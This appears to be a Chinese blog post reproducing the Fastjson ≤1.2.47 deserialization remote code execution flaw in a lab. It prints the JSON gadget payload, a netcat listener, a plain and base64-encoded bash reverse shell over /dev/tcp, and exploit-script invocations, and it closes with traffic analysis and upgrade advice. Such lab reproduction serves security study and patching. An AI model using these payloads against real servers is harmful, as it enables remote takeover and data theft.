zoukankan      html  css  js  c++  java
  • Fastjson远程代码执行漏洞复现

    fastjson漏洞简介

    Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

    fastjson漏洞原理

    先来分析fastjson 1.2.47的POC

    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "rmi://x.x.x.x:8080/Exphub", 
            "autoCommit": true
        }
    }
    

    对fastjson版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。
    loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制
    该payload会利用fastjson的反序列化漏洞去指定的rmi/ldap服务进行远程方法调用
    若要进行远程命令执行则需现构造一个恶意的rmi或者ldap,在其中设定要执行的命令,之后利用fastjson反序列化漏洞去使用我们构造的rmi/ldap,最终在fastjson服务器中执行我们在rmi/ldap中指定的命令,故该远程命令执行无法回显,但是仍然可以进行反弹shell(Linux)
    除了rmi/ldap构造恶意类,还需要另其一个http服务提供具体的恶意类+要执行的命令,整体流程如下:

    详情查看secquan-Fastjson 1.2.24-1.2.47全漏洞RCE

    Fastjson漏洞环境搭建

    • 主机A含有Fastjson漏洞环境 IP地址192.168.2.101
    • 主机B含有恶意java类 IP地址192.168.2.102
    • 主机C含有RMI服务 IP地址192.168.2.102
    • 接收反弹shell-kali-linux IP地址192.168.2.103

    主机A搭建含有fastjson1.2.47-rce漏洞环境

    Fastjson漏洞环境复现

    工具下载

    fastjson_tool.jar
    fastjson-1.2.47_rce.py
    

    反弹shell

    • kali-linux执行nc监听6666端口
    nc -lvp 6666
    

    • 主机B开启RMI服务,加载远程恶意java类
    bash -i >& /dev/tcp/192.168.2.103/6666 0>&1 //转成bash能执行的格式如下,
    java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.2.102 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
    

    • 发送利用fastjson反序列化漏洞使靶机执行RMI服务的恶意java类执行远程命令
    python3 fastjson-1.2.47_rce.py http://192.168.2.101:8090 rmi://192.168.2.102:9998/Object
    

    • 反弹shell成功

    fastjson漏洞攻击流量分析

    • 先从HTTP请求入手,可以看到HTTP发送POC服务器返回状态码400,其中有构造的开启RMI服务的IP地址192.168.2.102

    • 流量可以看到远程调用成功执行Object.class恶意类

    • 执行命令服务器返回的信息

    fastjson漏洞影响版本

    • fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化远程命令执行漏洞
    • fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化远程命令执行漏洞
    • fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化远程命令执行漏洞
    • fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化远程命令执行漏洞
    • fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化远程命令执行漏洞
    • fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化远程命令执行漏洞
    • fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化远程命令执行漏洞
    • fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化远程命令执行漏洞

    fastjson漏洞修复措施

    升级到 1.2.51 以上,并推荐关闭Autotype 详细升级方法可参见漏洞修复措施

    fastjson漏洞参考链接

    cnblogs-关于FASTJSON 1.2.24 反序列化导致任意命令执行漏洞
    阿里fastjson漏洞公告
    Fastjson 1.2.24-1.2.47全漏洞RCE

    声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合!

  • 相关阅读:
    HDU 1075 What Are You Talking About(字典树)
    HDU 1075 What Are You Talking About (stl之map映射)
    HDU 1247 Hat’s Words(字典树活用)
    字典树HihoCoder
    HDU 1277全文检索(字典树)
    HDU 3294 Girls' research(manachar模板题)
    HDU 3294 Girls' research(manachar模板题)
    HDU 4763 Theme Section(KMP灵活应用)
    Ordering Tasks UVA
    Abbott's Revenge UVA
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/13033723.html
Copyright © 2011-2022 走看看